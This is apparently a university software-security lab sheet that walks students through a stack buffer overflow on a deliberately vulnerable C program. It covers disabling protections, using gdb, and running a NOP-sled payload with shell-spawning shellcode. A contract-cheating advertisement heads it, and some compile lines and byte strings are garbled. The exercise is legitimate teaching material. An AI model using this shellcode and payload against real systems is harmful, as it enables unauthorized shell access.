Hello, dear friend, you can consult us at any time if you have any questions, add WeChat: daixieit

FIT3173 Software Security

Week04

2023 S1

Buffer Overflow Attacks

This lab allows you to experiment with a variation of the buffer overflow attacks demonstrated in the lecture. The goal of this lab is to exploit buffer overflow to invoke a shell code from a legitimate program.

Some online references are listed as follows:

GCC Beginner Guide

GDB Tutorial

Binary Convention

x86 Assembly Language Reference

1. Create our simple vulnerable program (auth_overflow3.c): It is a variant of the vulnerableprogram demonstrated in the lecture. Note that the buffer size in this variant is 96 bytes long. It will be large enough for an attacker to inject his own executable shell code into the buffer, as we will seein this lab.

#include <stdio.h>

#include <stdlib.h>

#include <string.h>

int check_authentication(char *password) {

char password_buffer[96];

int auth_flag[1];

auth_flag[0] = 0;

strcpy(password_buffer, password);

if(strcmp(password_buffer, "brillig") == 0)

auth_flag[0] = 1;

if(strcmp(password_buffer, "outgrabe") == 0)

auth_flag[0] = 1;

return auth_flag[0];

}

int main(int argc, char *argv[]) {

if(argc < 2) {

printf("Usage: %s <password>\n", argv[0]); exit(0);

}

if(check_authentication(argv[1])) {

printf("\n-=-=-=-=-=-=-=-=-=-=-=-=-=-\n");

printf(" Access Granted.\n");

printf ("-=-=-=-=-=-=-=-=-=-=-=-=-=-\n"); } else {

printf("\nAccess Denied.\n");

}

}

2. Compile the program, include symbol info. for debugger (-g), disable stack protector (-fno-stack-protector) and allow the stack to contain executable code (-z execstack)

seed@VM$ sudo sysctl -w kernel.randomize_va_space=0

auth_overflow3

seed@VM$ gcc -fno-stack-protector -z execstack -g -o auth_overflow3.c

FOR CLOUD VM:

seed@VM$ gcc -m 3 2 -fno-stack-protector -z execstack auth_overflow3auth_overflow3.c

-g -o

3. Load the program into the gdb debugger

seed@VM$ gdb auth_overflow3


4. List the program and set break points just before the buffer overflow point and after the overflow:

(gdb) list 1,40

(gdb) break 12

(gdb) break 19

5. Disassemble the main() function code and locate the return address that execution returns to after the check_authentication function returns:

(gdb) set disassembly-flavor intel

(gdb) disass main



The return address (0x08048576) is highlighted above (the instruction following the call to check_authentication function).

6. Run the program with an input (payload), which is larger than the 96 bytes buffer length. (say 100 “A” characters (ASCII code = 0x41)


Examine the contents of the stack memory (starting the at the first byte of the password_buffer):

(gdb) x/48xw password_buffer


NOTE: You may have different addresses [highlighted in YELLOW box above] in your VM. Please follow the below steps accordingly.

Can you see the address after the end of the password_buffer in the check_authentication() stack frame where the return address is stored? (look for the return address you identified earlier in the stack memory dump).

7. Continue execution to next breakpoint (after the overflow strcpy) and examine the stack memory again. Can you see the overflow bytes containing the '0x41' characters? How large should the overflow be to reach and overwrite the return address?


(gdb) continue



(gdb) x/48xw password_buffer


8. Generate our attacker payload shellcode (in this lab, we use the provided shellcode). This shellcode (given below as a list of 36 machine code bytes) opens a Linux command shell that allows the attacker to issue arbitrary Linux commands on the attacked machine.


\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\x0b\x58\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x 69\x6e\x89\xe3\x51\x89\xe2\x53\x89\xe1\xcd\x80\x90

9. Construct the buffer-overflowing input containing our payload ().


NOP sled (40 bytes)

Shellcode (36 bytes)

40 x Repeating return address (160 bytes)

A NOP is an instruction which does nothing (No Operation - 0x90). We will try to overwrite return address with 0xbffff204


(gdb) run $(perl -e 'print

"\x90"x40,"\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\x0b\x58\x5 1\x68","\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x53\x 89","\xe1\xcd\x80\x90","\x04\xf2\xff\xbf"x40')




(gdb) continue



10. Analyse the stack memory and find the address of our shellcode.


(gdb) x/48xw password_buffer


Note: Our shellcode starts with 0xdb31c031. Therefore,  reconstruct our payload return address to start somewhere before this address (anywhere in the NOP sled will do-- we'll try 0xbfffebe0).

11. Reconstruct and run program with our new payload.


(gdb) run $(perl -e 'print

"\x90"x40,"\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\x0b\x58\x51 \x68","\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x53\x89 ","\xe1\xcd\x80\x90","\xe0\xeb\xff\xbf"x40')

The program being debugged has been started already. Start it from the beginning? (y or n) – y


(gdb) continue





(gdb) x/48xw password_buffer




(gdb) continue